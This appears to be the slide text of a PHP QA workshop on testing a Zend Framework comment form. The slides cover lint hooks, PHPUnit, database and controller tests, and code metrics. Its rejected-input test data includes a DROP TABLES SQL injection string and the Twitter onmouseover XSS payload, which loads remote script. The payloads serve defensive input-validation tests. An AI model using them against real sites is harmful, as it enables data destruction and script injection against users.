This workshop is a hands-on training where a real Zend Framework application is used as an example to start improving QA using tools to test, document and perform software metric calculations to indicate where the software can be improved. I also explain the reports produced by a CI system.
26. Advantages of SCM
TIP: hooks
• team development possible for tools
• tracking multi-versions of source code
• moving back and forth in history
• tagging of milestones
• backup of source code
•- accessible from
command line
- native apps
- IDE’s
- analytical tools
29. PHP Lint
TIP: pre-commit
• checks the syntax of code
• build in PHP core
•- is used per file
pre-commit hook for version control system
- batch processing of files
• can provide reports
- but if something fails -> the build fails
32. SVN Pre commit hook
#!/bin/sh
#
# Pre-commit hook to validate syntax of incoming PHP files, if no failures it
# accepts the commit, otherwise it fails and blocks the commit
REPOS="$1"
TXN="$2"
# modify these system executables to match your system
PHP=/usr/bin/php
AWK=/usr/bin/awk
GREP=/bin/grep
SVNLOOK=/usr/bin/svnlook
# PHP Syntax checking with PHP Lint
# originally from Joe Stump at Digg
# https://gist.github.com/53225
#
for i in `$SVNLOOK changed -t "$TXN" "$REPOS" | $AWK '{print $2}'`
do
if [ ${i##*.} == php ]; then
CHECK=`$SVNLOOK cat -t "$TXN" "$REPOS" $i | $PHP -d html_errors=off -l || echo $i`
RETURN=`echo $CHECK | $GREP "^No syntax" > /dev/null && echo TRUE || echo FALSE`
if [ $RETURN = 'FALSE' ]; then
echo $CHECK 1>&2;
exit 1
fi
fi
done
35. Why documenting?
• new members in the team
• working with remote workers
• analyzing improvements
• think before doing
• used by IDE’s and editors for code hinting ;-)
48. The cost of bugs
Bugs Project Costs
100
75
50
25
0
Start Milestone1 Milestone2 Milestone3
49. The cost of bugs
Bugs Project Costs Unittests
100
75
50
25
0
Start Milestone1 Milestone2 Milestone3
50. Maintainability
•- during development
test will fail indicating bugs
•- after sales support
testing if an issue is genuine
- fixing issues won’t break code base
‣ if they do, you need to fix it!
• long term projects
- refactoring made easy
53. Confidence
•- for the developer
code works
•- for the manager
project succeeds
•- for sales / general management / share holders
making profit
•- for the customer
paying for what they want
62. CommentForm
Name:
E-mail Address:
Website:
Comment:
Post
63. Start with the test
<?php
class Application_Form_CommentFormTest extends PHPUnit_Framework_TestCase
{
protected $_form;
protected function setUp()
{
$this->_form = new Application_Form_CommentForm();
parent::setUp();
}
protected function tearDown()
{
parent::tearDown();
$this->_form = null;
}
}
64. The good stuff
public function goodData()
{
return array (
array ('John Doe', 'john.doe@example.com',
'http://example.com', 'test comment'),
array ("Matthew Weier O'Phinney", 'matthew@zend.com',
'http://weierophinney.net', 'Doing an MWOP-Test'),
array ('D. Keith Casey, Jr.', 'Keith@CaseySoftware.com',
'http://caseysoftware.com', 'Doing a monkey dance'),
);
}
/**
* @dataProvider goodData
*/
public function testFormAcceptsValidData($name, $email, $web, $comment)
{
$data = array (
'name' => $name, 'mail' => $mail, 'web' => $web, 'comment' => $comment,
);
$this->assertTrue($this->_form->isValid($data));
}
68. The bad stuff
public function badData()
{
return array (
array ('','','',''),
array ("Robert'; DROP TABLES comments; --", '',
'http://xkcd.com/327/','Little Bobby Tables'),
array (str_repeat('x', 100000), '', '', ''),
array ('John Doe', 'jd@example.com',
"http://t.co/@"style="font-size:999999999999px;"onmouseover=
"$.getScript('http:u002fu002fis.gdu002ffl9A7')"/",
'exploit twitter 9/21/2010'),
);
}
/**
* @dataProvider badData
*/
public function testFormRejectsBadData($name, $email, $web, $comment)
{
$data = array (
'name' => $name, 'mail' => $mail, 'web' => $web, 'comment' => $comment,
);
$this->assertFalse($this->_form->isValid($data));
}
69. Create the form class
<?php
class Application_Form_CommentForm extends Zend_Form
{
public function init()
{
/* Form Elements & Other Definitions Here ... */
}
}
77. Testing business logic
•- models contain logic
tied to your business
- tied to your storage
- tied to your resources
• no “one size fits all” solution
78. Type: data containers
•- contains structured data
populated through setters and getters
•- perform logic tied to it’s purpose
transforming data
- filtering data
- validating data
• can convert into other data types
- arrays
- strings (JSON, serialized, xml, …)
• are providers to other models
82. Create a simple model
<?php
class Application_Model_Comment
{
protected $_id = 0; protected $_fullName; protected $_emailAddress;
protected $_website; protected $_comment;
public function setId($id) { $this->_id = (int) $id; return $this; }
public function getId() { return $this->_id; }
public function setFullName($fullName) { $this->_fullName = (string) $fullName; return $this; }
public function getFullName() { return $this->_fullName; }
public function setEmailAddress($emailAddress) { $this->_emailAddress = (string) $emailAddress; return $this; }
public function getEmailAddress() { return $this->_emailAddress; }
public function setWebsite($website) { $this->_website = (string) $website; return $this; }
public function getWebsite() { return $this->_website; }
public function setComment($comment) { $this->_comment = (string) $comment; return $this; }
public function getComment() { return $this->_comment; }
public function populate($row) {
if (is_array($row)) {
$row = new ArrayObject($row, ArrayObject::ARRAY_AS_PROPS);
}
if (isset ($row->id)) $this->setId($row->id);
if (isset ($row->fullName)) $this->setFullName($row->fullName);
if (isset ($row->emailAddress)) $this->setEmailAddress($row->emailAddress);
if (isset ($row->website)) $this->setWebsite($row->website);
if (isset ($row->comment)) $this->setComment($row->comment);
}
public function toArray() {
return array (
'id' => $this->getId(),
'fullName' => $this->getFullName(),
'emailAddress' => $this->getEmailAddress(),
'website' => $this->getWebsite(),
'comment' => $this->getComment(),
);
}
}
85. Not all data from form!
•- model can be populated from
users through the form
- data stored in the database
- a webservice (hosted by us or others)
• simply test it
- by using same test scenario’s from our form
86. The good stuff
public function goodData()
{
return array (
array ('John Doe', 'john.doe@example.com',
'http://example.com', 'test comment'),
array ("Matthew Weier O'Phinney", 'matthew@zend.com',
'http://weierophinney.net', 'Doing an MWOP-Test'),
array ('D. Keith Casey, Jr.', 'Keith@CaseySoftware.com',
'http://caseysoftware.com', 'Doing a monkey dance'),
);
}
/**
* @dataProvider goodData
*/
public function testModelAcceptsValidData($name, $mail, $web, $comment)
{
$data = array (
'fullName' => $name, 'emailAddress' => $mail, 'website' => $web, 'comment' => $comment,
);
try {
$this->_comment->populate($data);
} catch (Zend_Exception $e) {
$this->fail('Unexpected exception should not be triggered');
}
$data['id'] = 0;
$data['emailAddress'] = strtolower($data['emailAddress']);
$data['website'] = strtolower($data['website']);
$this->assertSame($this->_comment->toArray(), $data);
}
87. The bad stuff
public function badData()
{
return array (
array ('','','',''),
array ("Robert'; DROP TABLES comments; --", '', 'http://xkcd.com/327/','Little Bobby
Tables'),
array (str_repeat('x', 1000), '', '', ''),
array ('John Doe', 'jd@example.com', "http://t.co/@"style="font-size:999999999999px;
"onmouseover="$.getScript('http:u002fu002fis.gdu002ffl9A7')"/", 'exploit twitter
9/21/2010'),
);
}
/**
* @dataProvider badData
*/
public function testModelRejectsBadData($name, $mail, $web, $comment)
{
$data = array (
'fullName' => $name, 'emailAddress' => $mail, 'website' => $web, 'comment' => $comment,
);
try {
$this->_comment->populate($data);
} catch (Zend_Exception $e) {
return;
}
$this->fail('Expected exception should be triggered');
}
90. Modify setters: Id & name
public function setId($id)
{
$input = new Zend_Filter_Input($this->_filters, $this->_validators);
$input->setData(array ('id' => $id));
if (!$input->isValid('id')) {
throw new Zend_Exception('Invalid ID provided');
}
$this->_id = (int) $input->id;
return $this;
}
public function setFullName($fullName)
{
$input = new Zend_Filter_Input($this->_filters, $this->_validators);
$input->setData(array ('fullName' => $fullName));
if (!$input->isValid('fullName')) {
throw new Zend_Exception('Invalid fullName provided');
}
$this->_fullName = (string) $input->fullName;
return $this;
}
91. Email & website
public function setEmailAddress($emailAddress)
{
$input = new Zend_Filter_Input($this->_filters, $this->_validators);
$input->setData(array ('emailAddress' => $emailAddress));
if (!$input->isValid('emailAddress')) {
throw new Zend_Exception('Invalid emailAddress provided');
}
$this->_emailAddress = (string) $input->emailAddress;
return $this;
}
public function setWebsite($website)
{
$input = new Zend_Filter_Input($this->_filters, $this->_validators);
$input->setData(array ('website' => $website));
if (!$input->isValid('website')) {
throw new Zend_Exception('Invalid website provided');
}
$this->_website = (string) $input->website;
return $this;
}
92. and comment
public function setComment($comment)
{
$input = new Zend_Filter_Input($this->_filters, $this->_validators);
$input->setData(array ('comment' => $comment));
if (!$input->isValid('comment')) {
throw new Zend_Exception('Invalid comment provided');
}
$this->_comment = (string) $input->comment;
return $this;
}
95. Integration Testing
•- database specific functionality
triggers
- constraints
- stored procedures
- sharding/scalability
• data input/output
- correct encoding of data
- transactions execution and rollback
96. Points of concern
•- beware of automated data types
auto increment sequence ID’s
- default values like CURRENT_TIMESTAMP
• beware of time related issues
- timestamp vs. datetime
- UTC vs. local time
97. The domain Model
• Model object
• Mapper object
• Table gateway object
Read more about it ☞
98. Change our test class
class Application_Model_CommentTest
extends PHPUnit_Framework_TestCase
becomes
class Application_Model_CommentTest
extends Zend_Test_PHPUnit_DatabaseTestCase
99. Setting DB Testing up
protected $_connectionMock;
public function getConnection()
{
if (null === $this->_dbMock) {
$this->bootstrap = new Zend_Application(
APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini');
$this->bootstrap->bootstrap('db');
$db = $this->bootstrap->getBootstrap()->getResource('db');
$this->_connectionMock = $this->createZendDbConnection(
$db, 'zftest'
);
return $this->_connectionMock;
}
}
public function getDataSet()
{
return $this->createFlatXmlDataSet(
realpath(APPLICATION_PATH . '/../tests/_files/initialDataSet.xml'));
}
100. initialDataSet.xml
<?xml version="1.0" encoding="UTF-8"?>
<dataset>
<comment
id="1"
fullName="B.A. Baracus"
emailAddress="ba@a-team.com"
website="http://www.a-team.com"
comment="I pitty the fool that doesn't test!"/>
<comment
id="2"
fullName="Martin Fowler"
emailAddress="fowler@acm.org"
website="http://martinfowler.com/"
comment="Models are not right or wrong; they are more or less useful."/>
</dataset>
101. Testing SELECT
public function testDatabaseCanBeRead()
{
$ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet(
$this->getConnection());
$ds->addTable('comment', 'SELECT * FROM `comment`');
$expected = $this->createFlatXMLDataSet(
APPLICATION_PATH . '/../tests/_files/selectDataSet.xml');
$this->assertDataSetsEqual($expected, $ds);
}
102. selectDataSet.xml
<?xml version="1.0" encoding="UTF-8"?>
<dataset>
<comment
id="1"
fullName="B.A. Baracus"
emailAddress="ba@a-team.com"
website="http://www.a-team.com"
comment="I pitty the fool that doesn't test!"/>
<comment
id="2"
fullName="Martin Fowler"
emailAddress="fowler@acm.org"
website="http://martinfowler.com/"
comment="Models are not right or wrong; they are more or less useful."/>
</dataset>
103. Testing UPDATE
public function testDatabaseCanBeUpdated()
{
$comment = new Application_Model_Comment();
$mapper = new Application_Model_CommentMapper();
$mapper->find(1, $comment);
$comment->setComment('I like you picking up the challenge!');
$mapper->save($comment);
$ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet(
$this->getConnection());
$ds->addTable('comment', 'SELECT * FROM `comment`');
$expected = $this->createFlatXMLDataSet(
APPLICATION_PATH . '/../tests/_files/updateDataSet.xml');
$this->assertDataSetsEqual($expected, $ds);
}
104. updateDataSet.xml
<?xml version="1.0" encoding="UTF-8"?>
<dataset>
<comment
id="1"
fullName="B.A. Baracus"
emailAddress="ba@a-team.com"
website="http://www.a-team.com"
comment="I like you picking up the challenge!"/>
<comment
id="2"
fullName="Martin Fowler"
emailAddress="fowler@acm.org"
website="http://martinfowler.com/"
comment="Models are not right or wrong; they are more or less useful."/>
</dataset>
105. Testing DELETE
public function testDatabaseCanDeleteAComment()
{
$comment = new Application_Model_Comment();
$mapper = new Application_Model_CommentMapper();
$mapper->find(1, $comment)
->delete($comment);
$ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet(
$this->getConnection());
$ds->addTable('comment', 'SELECT * FROM `comment`');
$expected = $this->createFlatXMLDataSet(
APPLICATION_PATH . '/../tests/_files/deleteDataSet.xml');
$this->assertDataSetsEqual($expected, $ds);
}
107. Testing INSERT
public function testDatabaseCanAddAComment()
{
$comment = new Application_Model_Comment();
$comment->setFullName('Michelangelo van Dam')
->setEmailAddress('dragonbe@gmail.com')
->setWebsite('http://www.dragonbe.com')
->setComment('Unit Testing, It is so addictive!!!');
$mapper = new Application_Model_CommentMapper();
$mapper->save($comment);
$ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet(
$this->getConnection());
$ds->addTable('comment', 'SELECT * FROM `comment`');
$expected = $this->createFlatXMLDataSet(
APPLICATION_PATH . '/../tests/_files/addDataSet.xml');
$this->assertDataSetsEqual($expected, $ds);
}
108. insertDataSet.xml
<?xml version="1.0" encoding="UTF-8"?>
<dataset>
<comment
id="1"
fullName="B.A. Baracus"
emailAddress="ba@a-team.com"
website="http://www.a-team.com"
comment="I pitty the fool that doesn't test!"/>
<comment
id="2"
fullName="Martin Fowler"
emailAddress="fowler@acm.org"
website="http://martinfowler.com/"
comment="Models are not right or wrong; they are more or less useful."/>
<comment
id="3"
fullName="Michelangelo van Dam"
emailAddress="dragonbe@gmail.com"
website="http://www.dragonbe.com"
comment="Unit Testing, It is so addictive!!!"/>
</dataset>
112. Testing INSERT w/ filter
public function testDatabaseCanAddAComment()
{
$comment = new Application_Model_Comment();
$comment->setFullName('Michelangelo van Dam')
->setEmailAddress('dragonbe@gmail.com')
->setWebsite('http://www.dragonbe.com')
->setComment('Unit Testing, It is so addictive!!!');
$mapper = new Application_Model_CommentMapper();
$mapper->save($comment);
$ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet(
$this->getConnection());
$ds->addTable('comment', 'SELECT * FROM `comment`');
$filteredDs = new PHPUnit_Extensions_Database_DataSet_DataSetFilter(
$ds, array ('comment' => array ('id')));
$expected = $this->createFlatXMLDataSet(
APPLICATION_PATH . '/../tests/_files/addDataSet.xml');
$this->assertDataSetsEqual($expected, $filteredDs);
}
113. insertDataSet.xml
<?xml version="1.0" encoding="UTF-8"?>
<dataset>
<comment
fullName="B.A. Baracus"
emailAddress="ba@a-team.com"
website="http://www.a-team.com"
comment="I pitty the fool that doesn't test!"/>
<comment
fullName="Martin Fowler"
emailAddress="fowler@acm.org"
website="http://martinfowler.com/"
comment="Models are not right or wrong; they are more or less useful."/>
<comment
fullName="Michelangelo van Dam"
emailAddress="dragonbe@gmail.com"
website="http://www.dragonbe.com"
comment="Unit Testing, It is so addictive!!!"/>
</dataset>
116. Web services remarks
•- you need to comply with an API
that will be your reference
•- you cannot always make a test-call
paid services per call
- test environment is “offline”
- network related issues
132. Setting up ControllerTest
<?php
class IndexControllerTest extends Zend_Test_PHPUnit_ControllerTestCase
{
public function setUp()
{
$this->bootstrap = new Zend_Application(
APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini');
parent::setUp();
}
}
133. Testing if form is on page
public function testIndexAction()
{
$params = array(
'action' => 'index',
'controller' => 'index',
'module' => 'default'
);
$url = $this->url($this->urlizeOptions($params));
$this->dispatch($url);
// assertions
$this->assertModule($params['module']);
$this->assertController($params['controller']);
$this->assertAction($params['action']);
$this->assertQueryContentContains(
'h1#pageTitle', 'Please leave a comment');
$this->assertQueryCount('form#commentForm', 1);
}
134. Test processing
public function testProcessAction()
{
$testData = array (
'name' => 'testUser',
'mail' => 'test@example.com',
'web' => 'http://www.example.com',
'comment' => 'This is a test comment',
);
$params = array('action' => 'process', 'controller' => 'index', 'module' => 'default');
$url = $this->url($this->urlizeOptions($params));
$this->request->setMethod('post');
$this->request->setPost($testData);
$this->dispatch($url);
// assertions
$this->assertModule($params['module']);
$this->assertController($params['controller']);
$this->assertAction($params['action']);
$this->assertResponseCode(302);
$this->assertRedirectTo('/index/success');
$this->resetRequest();
$this->resetResponse();
$this->dispatch('/index/success');
$this->assertQueryContentContains('span#fullName', $testData['name']);
}
135. REMARK
•- data providers can be used
to test valid data
- to test invalid data
• but we know it’s taken care of our model
- just checking for error messages in form
136. Test if we hit home
public function testSuccessAction()
{
$params = array(
'action' => 'success',
'controller' => 'index',
'module' => 'default'
);
$url = $this->url($this->urlizeOptions($params));
$this->dispatch($url);
// assertions
$this->assertModule($params['module']);
$this->assertController($params['controller']);
$this->assertAction($params['action']);
$this->assertRedirectTo('/');
}
151. • CYCLO: Cyclomatic Complexity
• LOC: Lines of Code
• NOM: Number of Methods
• NOC: Number of Classes
• NOP: Number of Packages
• AHH: Average Hierarchy Height
• ANDC: Average Number of Derived Classes
• FANOUT: Number of Called Classes
• CALLS: Number of Operation Calls
152. Cyclomatic Complexity
• metric calculation
• execution paths
•- independent control structures
if, else, for, foreach, switch case, while, do, …
• within a single method or function
•- more info
http://en.wikipedia.org/wiki/
Cyclomatic_complexity
166. What?
•- detects similar code snippets
plain copy/paste work
- similar code routines
• indicates problems
- maintenance hell
- downward spiral of disasters
• stimulates improvements
- refactoring of code
- moving similar code snippets in common routines
168. Required evil
•- validates coding standards
consistency
- readability
• set as a policy for development
• reports failures to meet the standard
- sometimes good: parentheses on wrong line
- mostly bad: line exceeds 80 characters
❖ but needed for terminal viewing of code
• can be set as pre-commit hook
- but can cause frustration!!!
185. Artifacts
• some tools provide output we can use later
• called “artifacts”
• we need to store them somewhere
• so we create a prepare target
• that creates these artifact directories (./build)
• that gets cleaned every run
195. Other things to automate
• server stress-testing with Apache Benchmark
• database deployment with DBDeploy
• package code base with Phar
•- transfer package to servers with
FTP/SFTP
- scp/rsync
• execute remote commands with SSH
• … so much more
196. Example DBDeploy
<target name="dbdeploy" description="Update the DB to the latest version">
<!-- set the path for mysql execution scripts -->
<property
name="dbscripts.dir"
value="${project.basedir}/${dbdeploy.scripts}" />
<!-- process the DB deltas -->
<dbdeploy
url="mysql:host=${db.hostname};dbname=${db.dbname}"
userid="${db.username}"
password="${db.password}"
dir="${dbscripts.dir}/deltas"
outputfile="${dbscripts.dir}/all-deltas.sql"
undooutputfile="${dbscripts.dir}/undo-all-deltas.sql"/>
<!-- execute deltas -->
<pdosqlexec
url="mysql:host=${db.hostname};dbname=${db.dbname}"
userid="${db.username}"
password="${db.password}"
src="${dbscripts.dir}/all-deltas.sql"/>
</target>